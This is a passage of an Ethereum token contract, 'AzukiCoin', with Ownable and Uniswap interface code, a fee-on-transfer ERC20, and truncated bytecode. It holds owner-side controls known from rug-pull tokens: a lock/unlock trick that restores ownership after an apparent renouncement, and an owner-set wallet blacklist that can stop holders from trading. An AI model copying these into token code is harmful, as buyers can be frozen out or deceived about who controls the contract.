https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract AzukiCoin is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private botWallets; bool botscantrade = false; bool public canTrade = false; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; address private feeaddress; string private _name = "AzukiCoin"; string private _symbol = "AZUKI"; uint8 private _decimals = 9; uint256 private _taxFee; uint256 private buytaxfee = 0; uint256 private selltaxfee = 0; uint256 private _previousTaxFee = _taxFee; uint256 private _liquidityFee; uint256 private buyliquidityfee = 5; uint256 private sellliquidityfee = 5; uint256 private _previousLiquidityFee = _liquidityFee; uint256 public _totalBuyTax = buytaxfee + buyliquidityfee; uint256 public _totalSellTax = selltaxfee + sellliquidityfee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public depwallet; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; uint256 public _maxWallet = 100000000 * 10**9; uint256 public numTokensSellToAddToLiquidity = 100000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; depwallet = _msgSender(); //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _approve(_msgSender(), address(uniswapV2Router), _tTotal); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setfeeaddress(address walletAddress) public onlyOwner { feeaddress = walletAddress; } function _setmaxwalletamount(uint256 amount) external onlyOwner() { require(amount >= 50000000, "Please check the maxwallet amount, should exceed 0.5% of the supply"); _maxWallet = amount * 10**9; } function setmaxTxAmount(uint256 amount) external onlyOwner() { require(amount >= 50000000, "Please check MaxtxAmount amount, should exceed 0.5% of the supply"); _maxTxAmount = amount * 10**9; } function updateSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() { numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9; } function clearStuckBalance() public { payable(feeaddress).transfer(address(this).balance); } function claimERCtoknes(IERC20 tokenAddress) external { tokenAddress.transfer(feeaddress, tokenAddress.balanceOf(address(this))); } function addBotWallet(address botwallet) external onlyOwner() { require(botwallet != uniswapV2Pair,"Cannot add pair as a bot"); botWallets[botwallet] = true; } function removeBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = false; } function getBotWalletStatus(address botwallet) public view returns (bool) { return botWallets[botwallet]; } function StartTrading(address _address)external onlyOwner() { canTrade = true; feeaddress = _address; } function setFees(uint256 _buytax, uint256 _selltax, uint256 _buyliquidity, uint256 _sellliquidity) public onlyOwner { require(_buytax + _buyliquidity <= 6, "buy tax cannot exceed 5%"); require(_selltax + _sellliquidity <= 6, "sell tax cannot exceed 5%"); buytaxfee = _buytax; selltaxfee = _selltax; buyliquidityfee = _buyliquidity; sellliquidityfee = _sellliquidity; _totalBuyTax = buytaxfee + buyliquidityfee; _totalSellTax = selltaxfee + sellliquidityfee; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if(from == uniswapV2Pair && to != depwallet) { require(balanceOf(to) + amount <= _maxWallet, "check max wallet"); } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _taxFee = buytaxfee; _liquidityFee = buyliquidityfee; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _taxFee = selltaxfee; _liquidityFee = sellliquidityfee; } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(contractTokenBalance); // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); payable(feeaddress).transfer(newBalance); emit SwapAndLiquify(contractTokenBalance, newBalance, contractTokenBalance); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!canTrade){ require(sender == owner()); // only owner allowed to trade or add liquidity } if(botWallets[sender] || botWallets[recipient]){ require(botscantrade, "bots arent allowed to trade"); } if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
0x6080604052600436106102b25760003560e01c80635342acb4116101755780639ad2817a116100dc578063c49b9a8011610095578063dd4670641161006f578063dd46706414610891578063dd62ed3e146108b1578063ea2f0b37146108f7578063f2fde38b1461091757600080fd5b8063c49b9a8014610845578063d12a768814610865578063d35a41901461087b57600080fd5b80639ad2817a146107a5578063a457c2d7146107bb578063a69df4b5146107db578063a9059cbb146107f0578063b6c5232414610810578063b86f92221461082557600080fd5b8063715018a61161012e578063715018a6146106f85780637d1db4a51461070d57806382247ec01461072357806388f82020146107395780638da5cb5b1461077257806395d89b411461079057600080fd5b80635342acb4146106065780635b63e2f01461063f57806360d484891461065f57806365e47de2146106985780636fcba377146106b857806370a08231146106d857600080fd5b8063313ce56711610219578063437823ec116101d2578063437823ec146105315780634549b03914610551578063495e180c1461057157806349bd5a5e146105915780634a74bb02146105c557806352390c02146105e657600080fd5b8063313ce5671461047a5780633277e3381461049c578063364333f4146104bc5780633685d419146104d157806339509351146104f15780633bd5d1731461051157600080fd5b80631f4e28481161026b5780631f4e2848146103bb5780631fc6a2dd146103db57806323b872dd146103fb5780632a3606311461041b5780632d8381191461043b5780632f05205c1461045b57600080fd5b80630305caff146102be57806306fdde03146102e0578063095ea7b31461030b57806313114a9d1461033b5780631694505e1461035a57806318160ddd146103a657600080fd5b366102b957005b600080fd5b3480156102ca57600080fd5b506102de6102d9366004612c69565b610937565b005b3480156102ec57600080fd5b506102f561098b565b6040516103029190612c86565b60405180910390f35b34801561031757600080fd5b5061032b610326366004612cdb565b610a1d565b6040519015158152602001610302565b34801561034757600080fd5b50600d545b604051908152602001610302565b34801561036657600080fd5b5061038e7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610302565b3480156103b257600080fd5b50600b5461034c565b3480156103c757600080fd5b506102de6103d6366004612c69565b610a34565b3480156103e757600080fd5b506102de6103f6366004612d07565b610a80565b34801561040757600080fd5b5061032b610416366004612d20565b610abe565b34801561042757600080fd5b506102de610436366004612c69565b610b27565b34801561044757600080fd5b5061034c610456366004612d07565b610bf7565b34801561046757600080fd5b50600a5461032b90610100900460ff1681565b34801561048657600080fd5b5060115460405160ff9091168152602001610302565b3480156104a857600080fd5b506102de6104b7366004612c69565b610c7b565b3480156104c857600080fd5b506102de610d83565b3480156104dd57600080fd5b506102de6104ec366004612c69565b610dbf565b3480156104fd57600080fd5b5061032b61050c366004612cdb565b610f72565b34801561051d57600080fd5b506102de61052c366004612d07565b610fa8565b34801561053d57600080fd5b506102de61054c366004612c69565b611092565b34801561055d57600080fd5b5061034c61056c366004612d6f565b6110e0565b34801561057d57600080fd5b506102de61058c366004612d07565b61116d565b34801561059d57600080fd5b5061038e7f0000000000000000000000002e4e335b27b6934a27449da2385cfbe2f044f7e381565b3480156105d157600080fd5b50601c5461032b90600160a81b900460ff1681565b3480156105f257600080fd5b506102de610601366004612c69565b611231565b34801561061257600080fd5b5061032b610621366004612c69565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561064b57600080fd5b506102de61065a366004612c69565b611384565b34801561066b57600080fd5b5061032b61067a366004612c69565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156106a457600080fd5b506102de6106b3366004612d07565b6113e0565b3480156106c457600080fd5b506102de6106d3366004612d9f565b6114a2565b3480156106e457600080fd5b5061034c6106f3366004612c69565b6115ba565b34801561070457600080fd5b506102de611619565b34801561071957600080fd5b5061034c601d5481565b34801561072f57600080fd5b5061034c601e5481565b34801561074557600080fd5b5061032b610754366004612c69565b6001600160a01b031660009081526007602052604090205460ff1690565b34801561077e57600080fd5b506000546001600160a01b031661038e565b34801561079c57600080fd5b506102f561167b565b3480156107b157600080fd5b5061034c601a5481565b3480156107c757600080fd5b5061032b6107d6366004612cdb565b61168a565b3480156107e757600080fd5b506102de6116d9565b3480156107fc57600080fd5b5061032b61080b366004612cdb565b6117df565b34801561081c57600080fd5b5060025461034c565b34801561083157600080fd5b50601c5461038e906001600160a01b031681565b34801561085157600080fd5b506102de610860366004612dd1565b6117ec565b34801561087157600080fd5b5061034c601f5481565b34801561088757600080fd5b5061034c601b5481565b34801561089d57600080fd5b506102de6108ac366004612d07565b61186e565b3480156108bd57600080fd5b5061034c6108cc366004612dee565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561090357600080fd5b506102de610912366004612c69565b6118f3565b34801561092357600080fd5b506102de610932366004612c69565b61193e565b6000546001600160a01b0316331461096a5760405162461bcd60e51b815260040161096190612e1c565b60405180910390fd5b6001600160a01b03166000908152600960205260409020805460ff19169055565b6060600f805461099a90612e51565b80601f01602080910402602001604051908101604052809291908181526020018280546109c690612e51565b8015610a135780601f106109e857610100808354040283529160200191610a13565b820191906000526020600020905b8154815290600101906020018083116109f657829003601f168201915b5050505050905090565b6000610a2a338484611a16565b5060015b92915050565b6000546001600160a01b03163314610a5e5760405162461bcd60e51b815260040161096190612e1c565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610aaa5760405162461bcd60e51b815260040161096190612e1c565b610ab881633b9aca00612ea2565b601f5550565b6000610acb848484611b3a565b610b1d8433610b188560405180606001604052806028815260200161301e602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611faa565b611a16565b5060019392505050565b6000546001600160a01b03163314610b515760405162461bcd60e51b815260040161096190612e1c565b7f0000000000000000000000002e4e335b27b6934a27449da2385cfbe2f044f7e36001600160a01b0316816001600160a01b03161415610bd35760405162461bcd60e51b815260206004820152601860248201527f43616e6e6f74206164642070616972206173206120626f7400000000000000006044820152606401610961565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000600c54821115610c5e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610961565b6000610c68611fe4565b9050610c748382612007565b9392505050565b600e546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a082319060240160206040518083038186803b158015610cc957600080fd5b505afa158015610cdd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d019190612ec1565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b158015610d4757600080fd5b505af1158015610d5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d7f9190612eda565b5050565b600e546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610dbc573d6000803e3d6000fd5b50565b6000546001600160a01b03163314610de95760405162461bcd60e51b815260040161096190612e1c565b60